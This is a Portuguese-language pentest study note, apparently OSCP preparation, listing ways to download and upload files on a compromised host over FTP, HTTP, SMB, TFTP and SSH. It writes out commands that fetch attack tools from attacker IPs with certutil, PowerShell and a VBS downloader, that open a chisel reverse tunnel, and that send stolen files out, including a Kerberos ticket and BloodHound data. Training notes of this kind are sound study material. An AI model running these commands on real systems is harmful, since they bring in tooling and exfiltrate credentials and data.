Skip to content

Transferindo arquivos

Referência em vídeo

É importante ressaltar que no vídeo eu demonstro como fazer as principais maneiras de transferir arquivos durante um pentest, de acordo com a minha opinião. No entanto, no texto abaixo eu demonstro outras maneiras de transferir arquivos.

Introdução Download via SMB1 e SMB2 utilizando impacket com e sem credencial Download via HTTP utilizando python e php Download via FTP utilizando python Download via TCP (sem protocolo de aplicação) puro, sem criptografia netcat Upload via SMB2 utilizando impacket Upload via HTTP utilizando python Upload via FTP utilizando python

Depois de comprometimento do host alvo, precisamos de algumas ferramentas que podem nos auxiliar durante a etapa de pós exploração. Aqui uma referência de como podemos fazer download e upload de arquivos com cadda protocolo e ferramenta...

Downloading

FTP

Preparando FTP server

sudo apt update
sudo apt install pure-ftpd

Script para setup adequado do serviço FTP

cat ./setup-ftp.sh

#!/bin/bash

sudo groupadd ftpgroup
sudo useradd -g ftpgroup -d /dev/null -s /etc ftpuser
sudo pure-pw useradd offsec -u ftpuser -d /home/kali/ownCloud/owncloud/Area_de_trabalho/estudos/oscp/ftphome
sudo pure-pw mkdb
cd /etc/pure-ftpd/auth/
sudo ln -s ../conf/PureDB 60pdb
#sudo mkdir -p /ftphome
sudo chown -R ftpuser:ftpgroup /home/kali/ownCloud/owncloud/Area_de_trabalho/estudos/oscp/ftphome
sudo systemctl restart pure-ftpd

O windows como cliente ficaria com os seguntes comandos:

ftp -n -v
open 192.168.0.253
user offsec
lab
bin
get nc.exe
bye

onde:

-n é para evitar a solicitação de prompt de login -v para evitar verbose output

open: inicia a conexão com o IP do atacante user: informar usuário e senha bin: modo binário de transferência get: obter um determinado arquivo

OBS: Existe a opção de mget também, para obter diversos arquivos de uma vez

Para fazer isso de maneira não interativa, podemos informar o parâmetro "-s"

e salvar os seguintes comandos em um arquivo:

open 192.168.0.253
user offsec
lab
bin
get nc.exe
bye

Salvando esses comandos em um arquivo chamado "comandos_ftp.txt", executar :

ftp -n -v -s:comandos_ftp.txt

HTTP

VBS

Apartir deste script a gente consegue

type wget.vbs

strUrl = WScript.Arguments.Item(0) 
StrFile = WScript.Arguments.Item(1) 
Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 
Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 
Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 
Const HTTPREQUEST_PROXYSETTING_PROXY = 2 
Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts 
 Err.Clear 
 Set http = Nothing 
 Set http = CreateObject("WinHttp.WinHttpRequest.5.1") 
 If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") 
 If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") 
 If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") 
 http.Open "GET", strURL, False 
 http.Send 
 varByteArray = http.ResponseBody 
 Set http = Nothing 
 Set fs = CreateObject("Scripting.FileSystemObject") 
 Set ts = fs.CreateTextFile(StrFile, True) 
 strData = "" 
 strBuffer = "" 
 For lngCounter = 0 to UBound(varByteArray) 
 ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) 
 Next 
 ts.Close

certutil

OBS: Esse cara complicou a vida por conta do AV Defender em tempo real... Foi pego. do powershell funciona normalmente

certutil -urlcache -split -f "http://192.168.0.253:8000/nc.cmd" nc.hex

certutil -urlcache -split -f "http://192.168.49.120:8000/PrintSpoofer64.exe" ps64.exe
certutil -urlcache -split -f "http://192.168.49.120:8000/chisel.exe" chisel.exe
.\chisel.exe client 13.37.13.37:3477 R:5000:socks

powershell

powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://10.11.0.4/evil.exe', 'new-exploit.exe')

powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://10.11.0.4/evil.exe', 'C:/temp/new-exploit.exe')

powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.11.0.4/wget.exe','C:\Users\offsec\Desktop\wget.exe')"

Bash

wget -r --no-parent http://10.10.14.2/folder  
wget http://10.10.14.2/folder/file.pdf

SMB

cp \\192.168.0.253\share\vulns.csv vulns.csv

copy \\192.168.119.181\smb\PrintSpoofer64.exe ps.exe

OBS: não esquecer de colcoar a flag "smb2support" no comando

 impacket-smbserver -smb2support share .



cp 20220915120636_BloodHound.zip \\test: 192.168.49.120\smb\20220915120636_BloodHound.zip

Crackmapexec

#~ crackmapexec smb 172.16.251.152 -u user -p pass --get-file  \\Windows\\Temp\\whoami.txt /tmp/whoami.txt

Uploading

FTP

Aopção mais fácil é por meio do python:

python -m pyftpdlib --port=21 --write
#ou
python -m pyftpdlib --directory=FTP --port=2121 --write

anonymous
anonymous

Existe a possibilidade de fazer upload de arquivos com Windows por meio do FTP também da seguinte forma:

ftp -n -v
open 192.168.0.253
user offsec
lab
ascii
put nc.txt nome_do_arq_no_server.txt
bye

onde:

-n é para evitaar a solicitação de prompt de login -v para evitar verbose output

open: inicia a conexão com o IP do atacante user: informar usuário e senha ascii: é para mudar o modo de transferência para ascii put source dest: enviar arquivo

Para fazer isso de maneira não interativa, podemos informar o parâmetro "-s"

e salvar os seguintes comandos em um arquivo:

open 192.168.0.253
user offsec
lab
ascii
put nc.exe
bye

Salvando esses comandos em um arquivo chamado "comandos_ftp.txt", executar :

ftp -n -v -s:comandos_ftp.txt

powershell

$client = New-Object System.Net.WebClient;$client.Credentials = New-Object System.Net.NetworkCredential("anonymous", "anonymous");$client.UploadFile("ftp://10.10.14.14/test.kirbi", "C:\temp\1-40a10000-sqlsvc@MSSQLSvc~dc1.scrm.local~1433-SCRM.LOCAL.kirbi")

HTTP

powershell

#Method POST (este não funciona com o script do python para PUT requests)
powershell (New-Object System.Net.WebClient).UploadFile('http://10.11.0.4/upload.php', 'important.docx')

#Method PUT
invoke-webrequest http://192.168.0.253:5000/vulns.csv -Method PUT -infile vulns.csv -contenttype application/octet-stream

invoke-webrequest http://192.168.49.120/20220915120636_BloodHound.zip -Method PUT -infile 20220915120636_BloodHound.zip -contenttype application/octet-stream

#method PUT
powershell (new-object system.net.webclient).uploadfile(http://192.168.119.16/upload.txt, 'put', important.docx)

(new-object system.net.webclient).uploadfile('http://192.168.49.120/20220915120636_BloodHound', '20220915120636_BloodHound')

python

python3 -c 'import requests; import os; filename="test.txt"; length=os.path.getsize(filename); requests.put("http://127.0.0.1:8000/"+filename, data=open(filename, "r").read(length))'

SMB

cp vulns.csv \\192.168.0.253\share\vulns.csv

OBS: não esquecer de colcoar a flag "smb2support" no comando

 impacket-smbserver -smb2support share .

Vale considerar que em alguns casos é necessário utilizar senhas para acesso a compartilhamento de arquivos. Nesse caso é necessário fazer o seguinte:

net use \\10.10.14.4\smb /user:teste Test@123
copy \\10.10.14.4\smb\PowerUp.ps1 pu.ps1

No caso do servidor fica:

impacket-smbserver -smb2support -username teste -password Test@123 smb .

crackmapexec

crackmapexec smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt

TFTP

Não vem instalado nos sistemas operacinoais do windows 7 para cima Somente windows XP, 2003 para baixo:

tftp -i 10.11.0.4 put important.docx

SSH

scp -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" powershell-uploads acosta@192.168.119.165:/home/acosta/powershell-uploads


$client.uploadfile('http://192.168.119.165/powershell-uploads','put', 'powershell-uploads')

invoke-webrequest http://192.168.119.165:8000/upload -Method PUT -infile powershell-uploads -contenttype application/octet-stream

scp -o "StrictHostKeyChecking=no" -o "UserKnownHostsFile=/dev/null" try-harder-ftp-service acosta@192.168.119.165:/home/acosta/

scp -o "StrictHostKeyChecking=no" -o "UserKnownHostsFile=/dev/null" try-harder-ftp-service acosta@192.168.119.165:/home/kali/ownCloud/owncloud/Area_de_trabalho/estudos/oscp/ftphome